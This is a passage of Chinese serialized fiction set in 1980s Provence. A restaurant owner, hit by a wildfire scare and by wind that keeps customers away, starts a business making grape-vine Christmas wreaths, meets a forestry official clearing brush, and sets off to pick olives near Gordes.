空气中弥漫着浓重的负面情绪,10级大风都吹不散的那种。 坐在农夫中间的罗南的心情也跌到了谷底。 这场大火可能只是影响了其他人的心情,但它实打实的影响了罗南的生意。 从昨天开始,餐厅的人流量直线下滑,到了饭点室内连一半的上座率都没有了。 按照这个情况发展下去,这个月连员工的工资都开不出来了。 他不能赌未来几天人流量会回升,必须要提前做后手准备了至少要把20多个员工的工资解决。 但风不停客人就不会出门,连上帝都不管普罗旺斯刮不刮风他又能有怎么办法呢? “那些**的警察也指望不上,谁都指望不上!”亨利把椅子拉开,气冲冲的离开餐厅。 皮埃尔担心亨利做出什么冲动的事,问他: “你去哪儿?” 亨利龇着牙说: “我去把葡萄枝剪了!必须找点事情干,否则我会控制不住去打死那些该死的东西!” 为了减少无效枝消耗,使养分集中供给结果枝,葡萄落叶后至萌芽前,需要进行冬季剪枝。 最近的大风把葡萄藤上的叶子都吹掉了,勤劳的农夫们已经开始做这一步。 皮埃尔嘱咐亨利: “剪掉的枯枝别烧了啊,最近注意点,等风停了再烧。” “知道了。”亨利咕嘟了一声。 罗南把亨利叫住,转头问皮埃尔: “每年剪下来的葡萄藤和葡萄枝你们全部都烧掉了?” 第245章 这一定会是未来南法乡村美学的核心符号! 不停歇的秋风像是喝多了的酒鬼,一点点揪秃葡萄藤上的叶子。 被揪秃了的葡萄藤又如布满倒刺的鞭子一样,疯狂抽打将它吹秃的罪魁祸首以示愤怒.甚至会无差别的攻击每一个走入葡萄园的人。 葡萄藤韧性高,内部木质硬度也高,抽在人的身上非常疼。 不怕疼的康奈尔在前面开路,皮埃尔走在他的身后,边检查葡萄园的情况边给罗南解释: “葡萄枝蔓的纤维太多,就算整个冬天埋在土里也不会腐坏,所以不能做肥料,我们之前的做法是剪下来统一烧掉。” 罗南环顾四周: “堆积起来一起烧吗?” 罗南来的是皮埃尔负责的一片葡萄园,比他家门口那片大多了,一眼看不到边际。 皮埃指着田垄上一个锈迹斑斑的独轮手推车说: “边剪边烧,我们有专门的手推车式焚烧炉,一起烧太危险了,短枝留2-4芽,长枝留8-12芽,其他部分全都剪掉,一株葡萄藤就能剪下来1公斤多的枝蔓,每10亩地可以剪下来3-5吨的鲜枝。” 跟着一起来的亨利嘟囔道: “也可以拿回家当柴烧,不过葡萄枝粗细不均,火力特别不稳定,需要频繁调整,而且烟大。” 亨利是村子里经济条件最差的一部分人,如果连他都说这东西不好用,那说明没有人会用葡萄枝做柴点了。 罗南停在一棵葡萄藤前,拿起几根认真看了一会: “从来没有人来收过它们吗?” 特奥撇嘴: “你知道普罗旺斯有多少公顷葡萄园吗?这东西跟路上的野草一样,不值钱的,谁会收它啊。” 其他的农夫们七嘴八舌的表示肯定。 剪下来的枝蔓不烧了还能干什么用? 罗南放下手里的葡萄蔓: “亨利,一会你剪下来的别扔,拿一些送到餐厅去。” “好的罗南先生!”亨利不会对罗南说的任何话说不,只会无条件的服从。 但其他农夫不理解了。 罗南要这些垃圾干什么? 从葡萄园离开罗南没有返回餐厅,而是回家拿出了他的电话薄,给卡福打去了电话。 他猜现在全吕贝隆都处于火灾的阴霾之中,卡福应该也暂时停工了。 果然,卡福的妻子说卡福今天在家。 “嗨伙计,你又要装修什么了吗?不过现在到普罗旺斯的装修高峰期了,圣诞节那些大老板们想要住进升级后的度假别墅.明天我就要复工,恐怕明年才能接你的需求。” 罗南笑着提议道: “既然明天才复工,不如今天来我这喝两杯?” 卡福语气蔫蔫的说: “风太大了,不去了。” 罗南停顿了一下: “如果我说,我现在可以考虑卖你一些编织工艺品呢?” 罗南听到电话那边传来一阵手忙脚乱的声音,听筒似乎也掉到地上了: “25分钟后到。” 卡福对罗南餐厅里的各种藤艺家具、中式灯具和饰品非常感兴趣,他希望把这种风格的东西推向普罗旺斯市场.但前提是罗南能给他供应。 他在装修阶段就曾多次和罗南提起这件事,但那个时候餐厅开业在即,罗南根本没有精力考虑也没有时间做,所以一次次拒绝。 这个月餐厅的客流量在大风和纵火犯的影响下大打折扣,员工们每天都没有什么事情干也许可以考虑下给她们安排点其他的事情做了? 尤其当罗南发现农夫们居然把葡萄藤全部烧了之后,觉得这件事更要做了。 之前做藤椅的藤条,全部是罗南以1法郎/根的价格从阿普特买回来的,如果按吨买,符合要求的细枝是500法郎/吨。 虽然买来的是另一种藤蔓,但罗南刚刚检查了那些葡萄藤,它们的直径分布在0.5厘米到2厘之间。 直径0.5厘米到1厘米的细枝条处理后完全可以用来做灯和饰品,粗枝也可以留下做其他工艺品,那些可全都是钱啊。 10亩地可以出3-5吨鲜枝,卢尔马兰附近有3000多亩葡萄园.在罗南看来,眼前有一整座金山在等着他开采! 卡福连25分钟都没用便出现在罗南的餐厅里。 现在路上没人也没车,他大概率是拿吕贝隆的土路当F1赛道开了。 “你终于想通了。”卡福一见到罗南就把两只像熊掌一样的大手扣到他的左右肩膀上。 “坐下说吧。”罗南让服务员给卡福拿瓶红葡萄酒,但卡福已经等不及了。 他拿起罗南桌子上的粉红酒,给自己和罗南斟酒,笑的像个天真的大孩子: “你知道吗,这几个月我每天都会想这件事.也许咱们可以掀起一股南法的装饰风格改革浪潮。” 普罗旺斯人的不靠谱是刻在骨子里的。 像卡福这么靠谱、效率又高的工匠团队在普罗旺斯比三条腿的蛤蟆还难找。 他一年四季都没有休息的时间,她老婆每天像接线员那么忙。 但卡福的精力和人力有限,每年能装的房子只有那么多,可如果卖和装修相关的东西那就不一样了。 这些年他合作过的客户、找来但没有合作成的客户不计其数,而且在普罗旺斯做装修相关行业的人他全部认识.只要东西够好、够特色完全不缺销售渠道。 不能一辈子当工匠啊,这是纯体力活,谁不想像罗南一样当大老板呢? “我最近听到的美好畅想太多了,还是聊实际的吧。”罗南把飘在天空的卡福拉下来,“你最近给客户们推荐过中式风格的饰品吗?” 卡福气鼓鼓的砸了一下桌子: “没有,你不同意我哪敢随便乱推荐?万一客户想要我又拿不出来怎么办?” 不知道市场的接受程度就比较难办了罗南没时间等卡福慢慢摸底,摆在他面前的是这个月的员工工资问题。 他反问卡福: “你想要如何把这种风格的饰品推向普罗旺斯市场?” 卡福认真的说: “把你会的东西,每种做2、3个样品给我,种类越多越好,我去给我认识的客户和渠道推荐。” 罗南指了一下头上的草编灯,又指了指墙上的草编、藤编饰品问: “你预估一个能卖多少钱?” 卡福思索了一下: “小饰品50-100法郎,墙面挂饰80-150法郎,灯视繁复程度200-500法郎。” 罗南开始计算时效问题。 熟练技艺之后,小饰品一小时可以做2个,墙面挂饰1-2个小时可以做完,最为繁复的灯每天能做2个。 这样算下来.这个回报率完全可以接受。 如果市场打开了,不仅员工的工资问题解决了,说不定还能靠这个赚钱? 但这个价格. “你确定有人会花这么高的价格买这些装饰物吗?”罗南再次确认。 村子里的女人们花8-12天缝出来的绣被只能卖300-500法郎。 卡福笑着平摊双手: “我的朋友,不要忘记我的客户都是什么人,这只是我向你收购的价格卖给他们的价格只会更贵。” 罗南笑着点头。 明白了。 看来这些中式饰品推向市场的首批目标客户是来自世界各地的富商们。 “我可以做样品出来让你卖,如果卖出去了,也可以给你长期供应。”罗南和卡福合作许多次,算是交好的朋友,说话也就不藏着掖着了。 他指着冷冷清清的餐厅,苦笑着说: “但你去推销那些中式饰品需要不短的时间,而我现在想要快速赚一笔钱有能赚快钱的方法吗?” 卡福摩挲起了杯子,思量了许久后说道: “现在有一个可以赚快钱的办法,但我不知道你能不能做。” “什么?”罗南期待的看过去。 卡福树干般的胳膊挥舞起来: “马上要到圣诞节了,现在可以卖一批圣诞装饰,那些有钱人都希望回到度假别墅时看到些不一样的‘花样’,他们看腻了袜子和圣诞树.如果你能做出有特色的东西,我发誓那会很好卖,我甚至可以囤一批货。” 圣诞节在12月底,而现在是11月中,完全可以筹备起来了。 罗南二话不说,马上回头对身后的几个服务员喊: “谁家有圣诞装饰能给我拿来一些吗?” 圣诞节在西方像是中国的春节一样,家家户户都会进行节日布置。 罗南一句话,四五个员工跑回家给罗南拿东西。 这个时候,亨利也按照罗南的吩咐拿了一些剪下来的葡萄藤到餐厅: “罗南先生,把它们放到哪里?” 罗南在里面挑挑拣拣了一些,其余让亨利搬去二楼,之后对卡福说: “这些藤条还没有处理过,做出来的东西肯定不够完美,但看样式是没有问题的。” 卡福目瞪口呆的问: “现在做?你不用思考一下做什么、怎么做吗?” 罗南一边整理藤蔓,一边咂嘴: “我今天把样品做出来,你今天就能带走卖了啊,中午留下吃饭吧,吃完饭我就做好了。” 卡福:“.” 他第一次在普罗旺斯见到比他效率还高的人! 虽然刮着西北风,但搬来卢尔马兰的艺术家们还是会照常来罗南的餐厅吃吃喝喝,大火也没有把思想更加前卫的他们击垮。 而今天冒着大风赶来的艺术家们全都来值了——他们居然目睹了‘艺术家老板’创作的全部过程! 罗南‘艺术家’的名号由来许久,但他很少和艺术家坐在一起聊天,这还是他第一次露出艺术的那一面。 只见罗南的手像变魔术一样,把那些像铁丝一样的藤蔓弯成了一个圆环。 之后又像穿衣服一样,用圣诞饰品在圆环身上比比划划,还没看清是怎么弄的呢,罗南就把圆环收了口,举起来给卡福看: “其实它们不太适合制作成这么鲜艳的‘花环’.不过圣诞节没有红色不太合适。” 周围‘哇’声一片。 葡萄藤也能制作成花环吗? 卡福看了看墙上的时钟: “我觉得不用留下吃午饭了。” 他刚点完菜,罗南就做好了? 还做的这么好? 罗南挥手: “吃吃吃,这顿我请,你先说这个花环样式行不行吧?” 花环的历史可以追溯到古代,尤其是希腊和罗马时期。 西方在重大节日和庆典活动时一定会有花环的元素出现,但它们通常由月桂树、橄榄树或其他象征生命和繁荣的花和植物制成——寓意着丰收和希望。 不过随着时代进步、90年代后人类环保意识觉醒,社会上开始提倡使用可重复材料制作节日装饰品,干花、果实和各种装饰品开始取代鲜花和月桂树、橄榄树等,成为制作花环的材料。 而罗南恰好可以取一个巧,提前了几年把这个‘概念’运用起来,制作出了让大家感觉到新鲜的玩意。 卡福眉头紧锁、摸着下巴看了许久。 罗南以为他是在思考葡萄藤取代鲜花是否可以得到那些有钱人的接纳,没想到卡福突然捶了一下手掌: “120法郎一个,你先给我做30个。” 这东西好啊,寓意好,还没见过,绝对可以卖给那些有钱人! 卡福很满意罗南的作品,但罗南似乎对自己的作品不完全满意,他想了一下说道: “我再做一个样式,这个有点浮夸了。” 同样的步骤,同样的快速。 不多时,罗南手里又出现了一个新的葡萄藤花环: “你再看看这个。” 艺术家们抢在卡福之前开口。 “可以给我一个吗,我喜欢这个!” “我也要我也要!” “你的手也太巧了!” 卡福对比了一下两个花环: “简单的好看,繁复的也好看,这两个我都要了,全部是120法郎,各做30个。” 卡福的菜上桌了,他对罗南说: “先卖这两个试试,如果反馈好,我随时给你打电话加订单。” “没问题。”罗南答应下来,“你好好吃吧,我去后厨看看。” 罗南还没到后厨就被一个艺术家拦下。 一个女孩怯懦懦的问: “我想要一个带铃铛的花环可以吗?我愿意花钱买!” 这人是餐厅的常客,罗南看桌子上还有不少富裕的材料,答应下来: “不用花钱,这些葡萄藤都没有处理过,做出来没有多好看,我送给你了。” 很快,女孩手里出现了一个让她爱不释手的圣诞节花环。 “好漂亮!圣诞节我要把它挂到壁橱上。” 其他艺术家见罗南这里还能‘点单’,一下子把他围住。 “我喜欢简约一些的,不是圣诞节用的也可以。” “可以。”罗南也答应下来。 都是他的‘上帝’,满足这个,不满足那个显得厚此薄彼似的。 这位女艺术家很快也拿到了她心爱的定制花环。 “啊?这样也可以吗?我朋友马上结婚,可以做一个适合送给她的花环吗?”又有一个艺术家问。 围观的艺术家们面露难色。 你这就有点难为人了吧? 还能设定这么详细的使用场景吗? 罗南想了一会,开始闷头干活。 过了一会,他试探性的问: “你看看这种行吗?” 在他手中出现的居然是一个心形的圆环! “我的上帝,这真的是艺术,这太艺术了!” “罗南老板的即兴能力太强了” “老板,你以后能常来餐厅吗?” 佐伊的好朋友之一宝莱特跃跃欲试的说: “罗南,你也给我做一个!” 试问哪个女孩子能抗拒一个好看的葡萄藤花环呢? 罗南面露苦色: “没有什么饰品了,做不出来了。” 宝莱特无所谓的说: “没事,你知道的,我喜欢简约的东西,越简约越好。” 罗南随便做了一个东西给她,之后双手高举: “没了,什么都没了,这次真的做不了了。” “好有艺术感!!!”艺术家们一片惊呼。 这不就是他们搬来卢尔马兰想要看到的东西吗?! 女艺术家们正拿着她们各自心爱的花环互相比较,一个一米九高的彪形大汉突然出现在她们之中,把花环全部抢走: “抱歉,这些是样品,大家稍等一下,过几天我把做好的成品免费送给你们,抱歉抱歉!” 卡福对罗南的背影大喊: “这几个样式每个给我做30个!不止是圣诞节,我要长期卖这些东西!!” 只看这些客人的反应,卡福就知道他和罗南的这个生意一定能成功。 在不远的将来,各类手工编织物一定会是南法乡村美学的核心符号! 第246章 这房子买的值啊 卡福一共找罗南订了5种葡萄藤花环,每种30个。 他说下午回家就会开始给这些花环找买家,很快就能知道市场的反馈。 如果卖的好,订单会持续不断的向罗南发来。 订单接了,下一步要解决的是人的问题。 其实花环很好做,它甚至不需要什么太难的编织技巧,按照罗南教的步骤和样式做即可。 难点在于挑选合适的藤条并处理它们,这是很费时间和精力的事情。 制作花环的藤条直径不用卡在0.5到1厘米之间,可以稍微放宽些,但小于0.3厘米的、弯曲度不自然的、有虫蛀霉斑和开裂的要挑选出去。 下一步是去叶去刺处理。 处理干净的藤条清洗干净后还要进行消毒杀菌,然后晾晒干净,如果时间紧急,可能还要采用人工干燥等辅助手段。 然后是防腐处理、打磨抛光. 如果未来要批量做藤艺灯和造型复杂的藤艺饰品,中间还要加入软化处理和打磨抛光等步骤,哪一步都不是罗南一两句能把那些人教会的。 但罗南之后还要进山挖松露,大火已经耽误他两三天的时间,未来没有功夫在餐厅里盯着她们做这件事。 所以做手工编织物的事必须要找一个负责人。 而人选呢,也是现成的。 巴蒂差点把嘴里的粉红酒吐罗南脸上: “你找到批量售卖藤艺工艺品的渠道了?” 巴蒂在普罗旺斯艺术界摸爬滚打七八年了只能勉强养活自己。 要名没名,要钱没钱,只落得了一批女艺术家朋友。 罗南接触编织技艺多久来着? 两个月还是三个月? 都做出规模了?? 罗南拿纸巾擦桌子: “两三个月可以做很多事情了,佐伊三个月前还在集市上卖盘子和杯子呢,你看看她现在发展成什么样了。” 罗南看着在艺术家中熠熠生辉的佐伊说。 他这样说巴蒂更难受了。 这对艺术家情侣一个比一个恐怖,羡慕已经说累了! “要做什么样式的?对技术有要求吗?”他问罗南。 罗南给巴蒂解释: “现在只需要做非常简单的圣诞花环,未来有可能要做灯和饰品,说不定也会做家具.一步步看吧,还不知市场的接受程度怎么样呢。” 巴蒂喝酒压了压惊。 上帝,居然不只是工艺品那么简单,还有灯和家具普罗旺斯要出自己的Bonacina了吗? “你希望我帮你教会员工?”巴蒂严肃的问。 罗南点头: “没错,教我的员工们如何处理藤蔓,并监督一段时间,如果你有兴趣的话也可以一起加入进来。” 巴蒂连连摇头: “我不会固定住在某个地方,明年开春我就会搬走,没办法加入。” 罗南皱起眉头。 他把巴蒂四海为家的性格忘记了。 但在普罗旺斯想找到第二个会编织技艺的人太难了。 他用商量的语气和巴蒂说: “那你可以只帮我培训吗?就像在瓦朗索勒教我的时候那样,我可以给你一些报酬。” 巴蒂难得的严肃下来,摇头道: “不是钱的问题,第一见你的时候我就说过,越多人接触编织技艺我越开心,就像你故意让其他老板学会中国菜一样,一两个人是做不起来一整个行业的,你说这次有将近二十个‘学员’,我是担心没办法把他们全部教会,人数太多了,你知道的,这门手艺需要一个个指导。” 他抬头表情复杂的看罗南: “世界上像你天赋这么高的人太少了。” 编织技艺好入门,但遇到手笨的人也是真气人,不是每一个人都适合学这门手艺的。 巴蒂知道自己身体不太好,万一来几个‘孽徒’,他怕自己被气死在这里。 罗南也严肃下来: “要不然先试试呢?” 这些员工在餐厅工作一个多月了,罗南多少对每个人都有所了解。 这些妇女全部是能干且能吃苦的人。 说句不好听的,在巴黎上了几十年班的冯珍跟她们比像是‘弱女子’一样。 而且这些人大部分都会做绣被,即使不会的,也会干其他手工活,可能真没有巴蒂想的那么难教。 巴蒂叹气: “行,不过我丑话说在前面,如果他们没有天赋我可能没办法帮你这个忙,我只能帮助你指导他们把藤条处理好。” 罗南一怔,发现了他的一处语法错误,马上纠正道: “不是他们,是她们,我的餐厅里没有男员工。” 巴蒂眼睛一下子亮了: “你说这次的十几个学员全是女的吗??” 罗南分别和后厨员工和前厅服务员说,未来可能要做点其他的事情。 大家非常理解罗南的决定。 妮可拉忧心忡忡的说: “我每天只有一点点事情做,工资拿的心里不安啊,能有其他的事情做我还能心安一些。” 弗洛西把手里的抹布放下: “后厨的橱柜、灶台和桌子我们每天要擦十几次,快给我点其他事情做吧,我在家里做家庭主妇的时候都没有这么闲。” 伊莎贝尔好奇的问: “罗南,你到底要让我们做什么啊?” 罗南把大家带到巴蒂的桌子前: “我希望你们向巴蒂老师学习制作葡萄藤花环的方法。” 员工们一听兴奋极了。 罗南做的那些漂亮花环她们都很喜欢。 居然要教我们做花环吗? 在这里上班太棒了吧,总是能学到喜欢的东西! 巴蒂比员工还兴奋,他把胸脯拍的叮咣作响,向罗南保证: “让编织技艺在普罗旺斯普及起来是我巴蒂的责任,也是我的使命,放心吧罗南,教人我是专业的,我一定把姐姐妹妹们教好。” 罗南憋着笑说: “别啊,别说的那么死,先看看她们能不能学会,有没有天赋吧。” “不不不!”巴蒂伸出一根手指,指着那些女员工说,“编织是一门很容易入门的手艺,怎么会学不会呢?学不会是我这个老师的失职,一次不行就教两次,两次不行就教三次!” “姐妹们,走!我带你们去挑枝,不过大家小心点啊,千万别弄伤了手指,一点一点来” 卡福第一次订购的量并不多,只有18000法郎,但却狠狠让罗南喘了一口气。 餐厅里的员工可以产生其他价值,这样即使这个月餐厅的生意不及预期也不至于赔钱了。 而且罗南信心,那些花环一定会有人买的。 未来说不定都供应不上呢。 安排完餐厅里的事,罗南去找了一次亨利。 “亨利,你帮我通知一圈农夫们,让他们别把剪下来的葡萄枝烧掉,找个地方先存起来,明年开春之前我会想办法拉走的。” 亨利绝不会问罗南为什么,他只会乖乖的听话照办。 但其他的农夫们不是亨利啊,围着亨利问个不停。 亨利也不知道原因只能‘狐假虎威’的让他们少废话。 这几个月亨利因为罗南的‘厚爱’腰杆子挺直了不少,除了皮埃尔他现在谁都敢怼,已经不是以前那个跟在大家后面等着喝两口汤的他了。 但亨利这张嘴确实太毒了,时间一长.农夫们难免会说两句难听的。 不一定是真心的,但就是不想看亨利这幅丑恶嘴脸。 “你神气个什么?天天跟在罗南身后舔,舔到什么了?他让你赚到钱了,还是给你修房子了?” “我呸!我亨利对罗南先生忠心耿耿,他有好处第一个想到的就是我,而不是你们!” “给你什么好处了?几块香肠和奶酪吗?哈哈——” “罗南先生教会了约瑟芬和丽莎编织工艺,就是餐厅里那些饰品的制作工艺!” “那有什么用?可以让你家房顶少漏一点雨吗?” “愚蠢的家伙!这门手艺未来一定可以带领我们赚钱的!” “这真是我这辈子听过最可笑的笑话,靠一个从来没听过的手艺赚钱吗?笑死我了.我要把它告诉全村每一个人!” 之后《普罗旺斯日报》又陆续刊登了许多关于森林大火的报道,不过始终没有再发过警方通报。 按照普罗旺斯人的行事作风,如果警方逮捕了那个纵火犯,一定会在报纸的头版头条写出来,说不定还会贴出他被警方逮捕时狼狈不堪的照片。 这代表那个声称‘西北风不停他就要用火柴点遍普罗旺斯每一片森林’的恶魔始终逍遥法外。 居民们的惶恐情绪淡了一些,但又没办法完全忘记这件事,因为每天都有巡视森林的直升飞机在头顶盘旋,它在提醒居民们,时刻注意自己和身边的安全。 罗南一家虽然距离森林也不远,但他们和密林之间会存在一些来野餐的人。 这些人现在不止是巴黎一家人的保镖,还是他们的火警探测器。 只要没有喝到不省人事,他们一定不会眼睁睁的看着大火烧起来的。 那之后,罗天海去窗户边数车的频率愈发频繁。 他们从来没有如此盼望过那里能多一些来野餐的人。 不过某一天早晨,罗天海发现了不一样的情况。 葡萄园尽头的私家车没了,取而代之的是一辆辆军用卡车。 在卡车旁边还停了一辆超出巴黎一家人认知的大机器——介于推土机和大型拖拉机之间的某种机械。 许许多多穿着制服和警服的人在卡车和密林之间走动,形色匆忙。 冯珍紧张的揪住罗南的胳膊,哆哆嗦嗦的说: “儿子.那个纵火犯不会在那里被发现了吧?!” 罗南呼出一口大气。 这房子买的真值,不只能看到吕贝隆的美景,还能看到一出出大戏一会野猪一会纵火犯的。 罗南披了一件外套,顶着大风走出家门: “别自己吓自己,我过去看看就知道了。” 第247章 普罗旺斯的天空之城 来到室外。 罗南听到密林方向传来一阵嘈杂的‘咯吱咯吱’声,似乎是某种机器在高速运行,鼻尖还能闻到微弱的燃烧气味。 他立即加快脚步,来到那片军用卡车停泊的区域。 不知是不是由于这里距离村庄太远,他没见到任何围观的村民。 为了搞清状况,罗南拿出了在热情的普罗旺斯人民身上学到的社交能力,希望得到一些有用的信息,不过这次的社交目标一个个全是‘硬骨头’。 来往于密林和卡车之间的人戴着大大的护目镜和头盔,完全看不清脸和表情,罗南尝试着和好几个人搭话,但他们全部拿罗南当了空气。 罗南似乎已经看到他们护目镜和头盔下的‘冷漠’表情了。 他又小心翼翼的向密林里走,路过的‘木头人’并没有阻拦。 由此情况罗南分析出里面肯定没有危险,亲眼目睹纵火犯被绳之以法估计是没戏了。 大概走了五十多米,罗南看到一个高大的工作人员正张牙舞爪的指挥那些木头人清理树下的矮树丛,他听到的‘咯吱咯吱’声便是锯木的声音。 而植物燃烧的气味是切割下来的矮木堆放到密林外,在专业的设备和工作人员监督下焚烧的味道。 那位高大的老兄侧头看了罗南一眼,似乎在用眼神询问‘你是从哪里冒出来的’。 罗南友好的和他打招呼: “你好。” 但对方连头都没有点一下便把头转了回去继续对那些‘木头人’发号施令。 罗南猜,那人在转头前的心理活动大概是: 这个季节普罗旺斯居然还有外国人? 罗南没有着急离开,而是观看那位老兄无差别骂人。 骂人的原因无外乎就那么几个,要么是锯错了品种、要么是伤到了树木、要么是操作不当这让罗南更加好奇这些人是谁、在干什么了。 在某个木头人又险些被骂之前,罗南先一步拯救了他: “这个百里香可以给我吗?” 普罗旺斯地区的灌木丛主要有两大类。 一种是以岩蔷薇、乳香黄连木、冬青栎和野草莓树为主的‘马基斯’灌丛,吕贝隆山区遍布石灰岩,所见的矮树丛大部分是这一类。 另一种常见的灌木丛是‘加里格’系草本植物,被普罗旺斯人所喜爱的各类香料就归属于这一类,但它们在吕贝隆并不常见,因为这些植物喜欢生长在砂质或碎石土壤。 其他灌木,例如刺柏和金合欢等在普罗旺斯也有,但并不多见。 而根据罗南的观察,那位脾气不好的老兄今天的工作是指挥这些人清理除了‘马基斯’外其他的一切低矮灌木。 如果是夏季或者花期,这些灌木比较好区分种类,但到了秋冬,分辨起来还是有一定难度的。 但那位老兄不管‘三七二十一’见人就骂,怪不得那些木头人没有心情应付罗南的搭话。 罗南的‘帮助’没有换来木头人的感谢,他木讷的换了一个目标继续砍伐,但那位脾气不好的高大老兄却进行了点评: “你都学会了,他们居然还认不清,上帝啊,我怎么会接下这么一个任务呢?” 罗南见这是个好时机,走过去和他攀谈: “我对植物比较感兴趣,而且现在从事的工作也是和这些作物有关,不过你们这是在干什么呢?” 罗南简短的自我介绍起到了作用,那人终于直视过来了: “你是做什么的?” 我是做什么的? 罗南在他众多头衔中选出了最有可能和这位老兄拉近关系的两个: “罗南,卢尔马兰的农夫,冬天会进山采松露。” 那位老兄的表情在一秒钟内几经变化: “布鲁诺,国家森林管理局的。” 罗南用惊恐的语气反问: “国家森林管理局来这里干什么?” 布鲁诺摘下他的头盔,露出光溜溜的头顶: “还不是因为那个纵火犯!为了提高防火等级,整个普罗旺斯要进行一次全面的‘灌木丛扫荡行动’,全国各地的森林专家都来支援了,但人手还是不够。” 他指着那些木头人愤怒的说: “这些不知道从哪里找来的工人完全不懂植物,也没有什么常识,工作进展太慢了,按照这个速度,圣诞节、不,是明年圣诞节我都没办法回巴黎!” “巴黎也没什么好的.”罗南收敛起开玩笑的心情,询问道,“是谁给你找的这些工人?” 布鲁诺抓了抓脑袋: “马赛林业局。” “这些人是马赛来的?怎么不在当地找呢?”罗南疑惑的问。 布鲁诺拍着安全帽说: “现在已经乱成一锅粥了,能找到干活的人就不错了,等当地政府安排说不定都12月了!” 罗南叹气。 这确实很符合普罗旺斯人的办事风格。 他指了指自己家的房子方向: “我家就住在那里,如果你受够了这些工人可以去那里找我,我给你介绍一些有常识、干活也利索的农夫。” 布鲁诺摸着光秃秃的脑袋问: “你能号召当地人?” 你在跟我开玩笑吧伙计?? 罗南露出灿烂笑容: “别的地方不敢保证,但在卢尔马兰你想要多少人我都能给你找到。” 布鲁诺并不是很信任这个刚刚认识了几分钟的家伙,他把头盔重新戴上: “如果有需要,我会去找你的。” 罗南觉得整个11月过的格外漫长。 可能由于西北风一直不停歇和纵火犯的压迫感,导致餐厅客人不多造成的。 也不知道餐厅的客流量什么时候才能好起来。 不过松露收获依旧稳定,只要进山就找到3公斤左右的松露,这样在有葡萄藤花环的贴补下.月底去政府买房子的计划不会改变,明年依然可以顺利结婚。 由佐伊负责的暖气安装工程也完成了第一阶段的配件,准备开始施工。 这样在普罗旺斯正式进入冬季前,巴黎一家人可以住进温暖的暖气房了。 虽然偶尔会有些好消息传来,但罗南的心情总是感觉沉甸甸的,为了调节心情,他去找了歌迪亚和托马斯。 帕斯卡邀请他们去他的橄榄园很久了。 不如趁着11月,气温还没那么低,把这个约履行了? 11月刮了整整大半个月的西北风,谁知道12月又会是什么鬼天气呢? 就当出去放松放松心情了。 几个人一碰头,马上把行程定了下来。 这周罗南从卢尔马兰集市回来,他们立马动身前往普罗旺斯最著名的‘鸟巢村’——戈尔德。 周五中午,托马斯开车带着罗南和歌迪亚离开卢尔马兰。 汽车一路向西北行驶,沿着吕贝隆蜿蜒的D36号公路慢慢沿着盘山公路前行。 沿途看不到民宅和建筑,但每过一两公里就能看到一处由石头堆砌的矮墙,随即便能看到那旁边立着的、提示距离戈尔德还有多少公里的路牌。 罗南走过了普罗旺斯大大小小许多村庄和城镇,戈尔德的路标指引是做的最清晰和密集的。 在没有导航的1986年,不熟悉吕贝隆的游客想去梅纳村,但开到它旁边卢尔马兰的情况时有发生。 但罗南猜想,无论游客从东南西北哪个方向前往戈尔德都不会迷路因为指引实在太多了。 这充分体现了戈尔德在普罗旺斯的不寻常地位。 这里是普罗旺斯中世纪小村落中,第一个被世界游客‘攻占’的地方。 一直到很多年后,在很多提到普罗旺斯的资料中,还是会看到大家用戈尔德的照片代表这一片区域,可想而知这个村子的重要程度。 但由于罗南居住的卢尔马兰在小吕贝隆区域,距离金三角的另两个村子梅纳村和博尼约更近,所以这是他搬来普罗旺斯后第一次来到这个著名的旅游小镇。 看到‘距离戈尔德还有1公里’的路标后不久,在一个转弯过后,公路前方一片开阔,一座全部由石头组成的山村‘从天而降’。 即使罗南看到过许多戈尔德的照片,真的来到它的脚下依然会觉得震惊和震撼。 “这几乎是在山上‘雕刻’出来的村子。”罗南不由得感慨出口。 托马斯知道罗南第一次来戈尔德,给他讲述起这里的传奇历史: “如果不是这里的险峻地形,这座村庄可能早就消失了第二次世界大战期间,沃克吕兹省只有三个‘受灾城市’,戈尔德的名字便在列,这里曾经遭到过德国人的暴力袭击,居民进行了顽强的抵抗才把它保留下来,二战结束后,政府给了戈尔德一枚荣誉勋章,这是普罗旺斯唯一的一枚‘战争十字勋章’。” 歌迪亚从另一个角度给罗南科普: “戈尔德的居民有自己的名字,他们被称为戈尔迪人,以叛逆精神而闻名,无论是中世纪的战争入侵,还是二战期间,他们从来没有放弃过抵抗。” 托马斯笑着拍了一下方向盘: “听说这里的姑娘异常‘火辣’,她们很难嫁到外乡。” “那都是多少年前的事了托马斯?”歌迪亚白了一眼身侧的托马斯,用骄傲的语气说,“二战后需要重建,戈尔德开始主动吸引艺术家,安德烈·洛特、马克·夏加尔、维克多·瓦萨雷利和波尔·马拉都曾在这里居住过,这里的思想和气氛是吕贝隆最开放的。” 罗南好奇的问: “戈尔德那么早就开始吸引艺术家了?” 布兰科说过,梅纳村是在70年代末转型之际才开始主动吸引世界各地艺术家的,戈尔德比梅纳村早了几十年? 歌迪亚摸着自己的爆炸头说: “那当然了,虽然政府把阿普特定位成吕贝隆的首府,但本地人认同的首府永远只有一个——那就是戈尔德,戈尔德发展的时候梅纳村还满地跑羊呢,咱们先去帕斯卡的橄榄园,摘完橄榄带你在戈尔德里面转转,圣雷米只是画家的圣地,但戈尔德里面百花齐放,可有意思了。” 汽车和戈尔德擦身而过,沿着D36号公路继续向北行驶。 罗南回头从另一个角度打量这座空中之城。 戈尔德就像是艺术家在山崖上创作的一副雕塑作品,高处是城堡和教堂,房子和村舍层层下降,从山顶到山顶,层层迭迭,错落有致。 怪不得艺术家会被吸引来戈尔德这座村庄本身就是一件艺术品啊。 第248章 采橄榄! 帕斯卡居住在戈尔德村北侧的一处山脊上。 按照曾来过一次的托马斯介绍,帕斯卡也是住在自己家的橄榄园里。 上次他来的时候是9月份。 一推开帕斯卡家的大门,看到蔚蓝的天空下,漫山遍野橄榄树叶子在阳光下闪闪发光的样子觉得格外美丽,搞的他也想种一片橄榄林了。 歌迪亚开玩笑的说,你爸爸那么有钱,给你弄一片橄榄林还不容易? 托马斯笑着摸了一下鼻子: “以我爸爸的实力恐怕也很难弄那么大的一片橄榄园,那真的太大了。” 歌迪亚不以为然的说: “没事,那就让你爸爸给你买个大房子,比帕斯卡家还大的那种。” 托马斯笑的更尴尬了: “那也很难。” 罗南家的门前是葡萄园,帕斯卡家的门前是橄榄园。 同样是园,可罗南住的是小农舍,帕斯卡住的是大庄园。 贫富差距和阶级差距限制住了罗南的想象力。 他有点想不出,如果托马斯要住比帕斯卡家更大的房子能是什么样子的。 城堡吗? 想象力虽然被限制住了,但梦想是没有翅膀的。 